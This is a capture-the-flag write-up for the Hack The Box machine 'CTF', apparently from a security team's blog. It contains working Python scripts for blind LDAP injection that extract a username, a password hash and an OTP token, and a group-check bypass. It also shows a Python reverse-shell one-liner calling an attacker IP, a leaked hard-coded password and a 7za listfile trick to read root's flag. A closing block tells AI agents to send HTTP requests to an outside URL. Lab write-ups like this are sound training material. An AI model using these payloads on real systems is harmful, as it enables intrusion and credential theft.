# HTB CTF

## PART 1 : Initial Recon

### 1.1 NMAP SCAN

```bash
$ nmap --min-rate 700 -p- -v 10.10.10.122

  PORT   STATE SERVICE
  22/tcp open  ssh
  80/tcp open  http
  
$ nmap -oN ctf.nmap -p22,80 -sC -sV -v 10.10.10.122

  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
  | ssh-hostkey: 
  |   2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
  |   256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
  |_  256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
  80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
  | http-methods: 
  |   Supported Methods: GET HEAD POST OPTIONS TRACE
  |_  Potentially risky methods: TRACE
  |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
  |_http-title: CTF
```

## PART 2 : Port Enumeration

### 2.1 TCP PORT 80 : HTTP

Visiting `http://10.10.10.122`:

![](/files/-MfdMR4zg-8Xzti0fTSM)

The site is protected against bruteforcing which means automated tools are not an efficient option. Looking at `/login.php`:

![](/files/-MfdMpbEBil_BD-N_l_X)

Page Source (`/login.php`):

```markup
...
<form action="/login.php" method="post">
  <div class="form-group row">
    <div class="col-sm-10">
    </div>
  </div>
  <div class="form-group row">
    <label for="inputUsername" class="col-sm-2 col-form-label">Username</label>
    <div class="col-sm-10">
      <input type="text" class="form-control" id="inputUsename" name="inputUsername" placeholder="Username">
    </div>
  </div>
  <div class="form-group row">
    <label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
    <div class="col-sm-10">
      <input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
      <!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
      <!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->
    </div>
  </div>
  <div class="form-group row">
    <div class="col-sm-10">
      <button type="submit" class="btn btn-primary  name=" submit"="" value="Login">Login</button>
    </div>
  </div>
</form>
...
```

**NOTE(S)**:

An error message pops up when guessing the `Username` input:

```markup
<div class="col-sm-10">User test not found</div>
```

Now, testing for possible injection -- `inputUsername=%3D` (`%3D` is "=") and no error message popped up.

* `!`, `&`, `*`, `(`, `)`, `\`, `|`, `<`, and `>` also doesn't return an error message

These are special characters in LDAP so maybe these characters are being filtered out by **/login.php**. It is also important to note that a **token string** for the `OTP` is stored in a pre-existing attribute so the login might actually be validated using LDAP.

## PART 3 : EXPLOITATION

### 3.1 LDAP Blind Injection

Attempt exploitation using [**LDAP Injection**](https://www.owasp.org/index.php/LDAP_injection) using a wildcard "`*`" as a payload:

```
inputUsername=%2A
```

The following response was given by the server:

```markup
<div class="col-sm-10">Cannot login</div>
```

This error message means we have a valid username and that the injection has worked. Now attempting to extract a real valid user using python:

```python
import requests as r
import urllib.parse as u

username = ""
char_list = "abcdefghijklmnopqrstuvwxyz0123456789"
while True:
  for i in range(0, len(char_list)):

      ldap_injection = "%s%c*" % (username, char_list[i])
      data = { "inputUsername": u.quote(ldap_injection) }
      req = r.post("http://10.10.10.122/login.php", data=data)

      if "Cannot login" in req.text:
          username = username + char_list[i]
          print(username)
          break

  if i == len(char_list) - 1 : break

print("[x] THE USERNAME IS " + username)
```

Run using `python3` and a user, `ldapuser`, has been extracted:

```bash
l
ld
lda
ldap
ldapu
ldapus
ldapuse
ldapuser
[x] THE USERNAME IS ldapuser
```

Now finding all available/usable LDAP Attributes using `ldap_attribute_list.txt` (copied from [ldap-brute from GitHub](https://github.com/droope/ldap-brute/blob/master/wordlists/attribute_names)):

```python
import requests as r
import urllib.parse as u

attribute_list = open("/usr/share/wordlists/ldap_attribute_names.txt", "r")

attributes = []
for i in attribute_list:

  ldap_injection = "ldapuser))(&(%s=*" % (i[:-1])

  data = { "inputUsername": u.quote(ldap_injection) }
  req = r.post("http://10.10.10.122/login.php", data=data)

  if "Cannot login" in req.text:
      print(ldap_injection)
      attributes.append(i[:-1])

attribute_list.close()
```

Run using `python3` and the following were returned -- `userPassword`, `pager`, and `objectClass` might be of interest:

```bash
ldapuser))(&(cn=*
ldapuser))(&(commonName=*
ldapuser))(&(gidNumber=*
ldapuser))(&(homeDirectory=*
ldapuser))(&(loginShell=*
ldapuser))(&(mail=*
ldapuser))(&(name=*
ldapuser))(&(objectClass=*
ldapuser))(&(pager=*
ldapuser))(&(shadowLastChange=*
ldapuser))(&(shadowMax=*
ldapuser))(&(shadowMin=*
ldapuser))(&(shadowWarning=*
ldapuser))(&(sn=*
ldapuser))(&(surname=*
ldapuser))(&(uid=*
ldapuser))(&(uidNumber=*
ldapuser))(&(userPassword=*
```

Extracting the contents of `userPassword`:

```python
import requests as r
import urllib.parse as u

token = ""
while True:

  if len(token) % 3 == 0 :
      attribute_value = bytes.fromhex(str(token.replace("\\", ""))).decode('utf-8')
      print(attribute_value)
      token += "\\"

      if len(attribute_value[19:])==86: break

  for x in range(15,-1,-1):

      if len(attribute_value[19:])==85 and len(token) % 3 == 2 :
          if x==0: token = token + "0"

      payload = "ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:="
      ldap_injection = payload + "%s%cf" % (token, hex(x)[-1])

      if ldap_injection[-3:] == "0ff":
          hex_val = "0x" + ldap_injection[-6:-4]
          token = token[:-4] + hex(int(hex_val, 16) + 1)[-2:] + "\\"
          ldap_injection = payload + "%s%cf" % (token, hex(x)[-1])

      data = { "inputUsername": u.quote(ldap_injection) }
      req = r.post("http://10.10.10.122/login.php", data=data)

      if x==0 and len(token) % 3 == 2 : token = token[:-1] + str(int(token[-1]) - 1) + "0"
      elif "Cannot login" not in req.text:
          if len(token) % 3 == 2 : token = token + hex(x)[-1]
          else: token = token + hex(x+1)[-1]
          break
```

Run using `python3`:

```
{
{c
{cr
{cry
{cryp
{crypt
{crypt|
{crypt}#
{crypt}$5
...
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G-
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.
...
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi23
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi245
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi246
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi2460
```

The `userPassword` attribute is a bit special:

{% hint style="info" %}

* According to Microsoft, `userPassword` has an [Object(Replica-Link) syntax](https://docs.microsoft.com/en-us/windows/desktop/adschema/a-unixuserpassword)
* [Object(Replica-Link)](https://ldapwiki.com/wiki/Replica%20Link) has an OID 2.5.5.10 which is an **Octet String**
* **Octet Strings** has a different set of [operations](https://ldap.com/matching-rules/):

```
Octet string matching rules are very simple rules that perform byte-by-byte comparisons of octet string 
values. All capitalization and spacing is considered significant.
```

{% endhint %}

So with `ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:=`, a simple wildcard comparison won't do:

```
octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit 
comparison (in big endian ordering) of two octet string values until a difference is found. The first 
case in which a zero bit is found in one value but a one bit is found in another will cause the value 
with the zero bit to be considered less than the value with the one bit.
```

A **sha512crypt** hash was extracted but this seems to be a **RABBIT HOLE**. But the `pager` attribute seems promising:

```python
import requests as r
import urllib.parse as u

token = ""
while( len(token)!=81 ):
    for i in range(0,10):

        ldap_injection = "ldapuser))(&(pager=%s%d*" % (token, i)
        data = { "inputUsername": u.quote(ldap_injection) }
        req = r.post("http://10.10.10.122/login.php", data=data)

        if "Cannot login" in req.text:
            token = token + str(i)
            print(token)
            break

print("[x] THE TOKEN IS " + token)
```

Run using `python3` and it seems like the attribute contains the token which is a **Pure Numeric CTF (Compressed Token Format) string**:

```
2
28
285
2854
28544
285449
2854494
28544949
285449490
2854494900
...
28544949001135715653165154565233557071316741144572714
285449490011357156531651545652335570713167411445727140
2854494900113571565316515456523355707131674114457271406
28544949001135715653165154565233557071316741144572714060
285449490011357156531651545652335570713167411445727140604
2854494900113571565316515456523355707131674114457271406041
...
28544949001135715653165154565233557071316741144572714060417214145671110271671700
285449490011357156531651545652335570713167411445727140604172141456711102716717000
[x] THE TOKEN IS 285449490011357156531651545652335570713167411445727140604172141456711102716717000
```

### **3.2 OTP Generation**

Generate an OTP using the token string with [`stoken`](https://manpages.debian.org/testing/stoken/stoken.1.en.html):

```bash
$ stoken import --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000

  Enter new password: 
  Confirm new password: 

$ stoken tokencode

  Enter PIN:
  PIN must be 4-8 digits.  Use '0000' for no PIN.
  Enter PIN: 0000
  83502926
```

Login using the credentials found/generated (**ldapuser**:**83502926**) then you are redirected to `/page.php`:

![](/files/-MfdTnNsf2ZcXkRHyvvc)

Page Source (`/page.php`):

```markup
...
<form action="/page.php" method="post" >
  <div class="form-group row">
    <div class="col-sm-12">
        </div>
  </div>
  <div class="form-group row">
    <label for="inputCmd" class="col-sm-2 col-form-label">Cmd</label>
    <div class="col-sm-10">
      <input type="text" class="form-control" id="inputCmd" name="inputCmd" placeholder="Command to issue">
    </div>
  </div>
  <div class="form-group row">
    <label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
    <div class="col-sm-10">
      <input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
      <!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
    </div>
  </div>
  <div class="form-group row">
    <div class="col-sm-10">
      <button type="submit" class="btn btn-primary  name="submit" value="Submit">Submit</button>
    </div>
  </div>
</form>
...
```

An error message pops up when fuzzing the `inputCmd`'s input:

```markup
<div class="col-sm-10">User must be member of root or adm group and have a registered token to issue commands on this server</div>
```

There was a `gidNumber` back during bruteforcing the available LDAP attributes:

* `root` and `adm` has group numbers **0** and **4** respectively
* Maybe `ldapuser`'s group number could be added to the check done by ***/page.php***

Maybe the group restriction could be bypassed by passing an LDAP injection as a username like `ldapuser))(|(gidNumber:2.5.13.14:=1000`when loggin in:

| USERNAME                                               | PASSWORD                       |
| ------------------------------------------------------ | ------------------------------ |
| ldapuser%29%29%28%7C%28gidNumber%3A2.5.13.14%3A%3D1000 | Generate an OTP using `stoken` |

Checking if `ldapuser`'s GID is ineed 1000:

```python
import requests as r
import urllib.parse as u

for i in range(1000, 1050):
    ldap_injection = "ldapuser))(|(gidNumber:2.5.13.14:=%d" % (i)
    data = { "inputUsername": u.quote(ldap_injection) }
    req = r.post("http://10.10.10.122/login.php", data=data)

    if "Cannot login" in req.text: break

print("[x] ldapuser's gidNumber : " + str(i))
```

The script returned the following --`[x] ldapuser's gidNumber : 1000`

{% hint style="info" %}
According to Microsoft, `gidNumber` has an [Enumeration Syntax](https://docs.microsoft.com/en-us/windows/desktop/adschema/s-enumeration) with a [Matching Rule](https://ldap.com/matching-rules/)

```
Integer Matching
...
integerMatch (OID 2.5.13.14): An equality matching rule that will consider two integer values 
equivalent if they represent the same number.
```

{% endhint %}

Using the new username, The group restriction no longer applies.

## PART 4 : Generate User Shell

### 4.1 Reverse Shell as apache

On the local machine:

```
nc -lvp 4444
```

Sending a reverse shell on **/page.php**:

| inputCmd                                                                                                                                                                                                                              | inputOTP                       |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------ |
| `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.62",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` | Generate an OTP using `stoken` |

While inside the reverse shell:

```bash
$ id

  uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

$ cat /etc/passwd | grep bash

  root:x:0:0:root:/root:/bin/bash
  ldapuser:x:1000:1000::/home/ldapuser:/bin/bash

$ ls -lah

  [...omitted...]
  -rw-r-----. 1 root   apache 5.0K Oct 23  2018 login.php
  -rw-r-----. 1 root   apache   68 Oct 23  2018 logout.php
  -rw-r-----. 1 root   apache 5.2K Oct 23  2018 page.php
  [...omitted...]

$ cat login.php

  [...omitted...]
  $username = 'ldapuser';
  $password = 'e398e27d5c4ad45086fe431120932a01';
  [...omitted...]
```

### 4.2 SSH as ldapuser

Login as `ldapuser` via `ssh`:

```bash
$ ssh -l ldapuser 10.10.10.122

ldapuser@10.10.10.122's password: e398e27d5c4ad45086fe431120932a01
```

`ldapuser` shell:

```bash
$ id

  uid=1000(ldapuser) gid=1000(ldapuser) groups=1000(ldapuser) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

$ cat user.txt

  74a8e86f3f6ecd8010a660cfb44ee585
```

## PART 5 : Privilege Escalation (ldapuser -> root)

### 5.1 honeypot.sh

Enumerating the system using `ldapuser` shell:

```bash
$ ls -lah /

  [...omitted...]
  drwxr-xr-x.   2 root root 4.0K Jun 18 20:16 backup
  [...omitted...]

$ ls -lah /backup

  [...omitted...]
  -rw-r--r--.  1 root root   32 Jun 18 20:13 backup.1560881581.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:14 backup.1560881641.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:15 backup.1560881701.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:16 backup.1560881761.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:17 backup.1560881821.zip
  -rw-r--r--.  1 root root    0 Jun 18 20:17 error.log
  -rwxr--r--.  1 root root  975 Oct 23  2018 honeypot.sh
```

There is a script named `honeypot.sh` and **backup** files seem to be generated every minute:

```bash
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt

# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')

# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f

# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- * 

# cleaup the honeypot
rm -rf -- *

# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log
```

{% hint style="info" %}
Breakdown of `honeypot.sh`:

```bash
ls -1t *.zip | tail -n +11 | xargs rm -f
```

* Keeps a maximum of 10 most recent backups in `/backup`.

```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```

* Backs everything up in `/var/www/html/uploads`
* The backups are password-protected and running `pspy` doesn't show when 7za is run which means that the password can't be intercepted.
* The `--` switch protects `7za` from **wildcard injection**.

```bash
rm -rf -- *
```

* Everything in `/var/www/html/uploads` are deleted after backup.

```bash
truncate -s 0 /backup/error.log
```

* Errors generated (maybe) are deleted after everything
  {% endhint %}

### 5.2 7za listfiles

Leveraging `honeypot.sh` by exploiting what `7za` can do:

```bash
$ 7za --help

  [...omitted...]
  Usage: 7za <command> [<switches>...] <archive_name> [<file_names>...] [<@listfiles...>]
  [...omitted...]
  <Switches>
    -- : Stop switches parsing
  [...omitted...]
    -snl : store symbolic links as links
  [...omitted...]
    -t{Type} : Set type of archive
  [...omitted...]
```

Since all switches after `--` will be ignored meaning **wildcard injection** is no longer a viable option but, `[<@listfiles...>]` could still be controlled

{% hint style="info" %}

* `@` references to a `listfile`
* A `listfile` contains one file per line
* Using absolute paths are helpful
* `7za` will archive the files in the `listfile`
  {% endhint %}

To leverage `@listfiles`, write a file to `/var/www/html/uploads`:

```bash
$ cd /var/www/html/uploads

$ ls -la
  
  ls: cannot open directory .: Permission denied

$ ls -lah ../
  
  [...omitted...]
  drwxr-x--x. 2 apache apache    6 Oct 23  2018 uploads
```

The reverse shell from earlier has a user `apache` so the permissions could be changed using **/page.php**

| inputCmd                          | inputOTP                       |
| --------------------------------- | ------------------------------ |
| `chmod 777 /var/www/html/uploads` | Generate an OTP using `stoken` |

Now, create ***relevant*** files:

```bash
$ cd /var/www/html/uploads

$ touch @list

$ ln -s /root/root.txt list

$ ls -lah

  drwxrwxrwx. 2 apache   apache    31 Jun 18 21:42 .
  drwxr-xr-x. 6 root     root     176 Oct 23  2018 ..
  lrwxrwxrwx. 1 ldapuser ldapuser  14 Jun 18 21:42 list -> /root/root.txt
  -rw-rw-r--. 1 ldapuser ldapuser   0 Jun 18 21:42 @list
```

Since `list` is not a valid ***listfile***, an error will be thrown. Attempting to capture `/backup/error.log` before contents are ***truncated*** by `honeypot.sh`:

```bash
$ while ! [ -s /backup/error.log ]; do : ; done; cat /backup/error.log

  WARNING: No more files
  fd6d2e53c995e6928cd0f040c79ba053
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://seymour.hackstreetboys.ph/hackthebox/machine-writeups/htb-ctf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
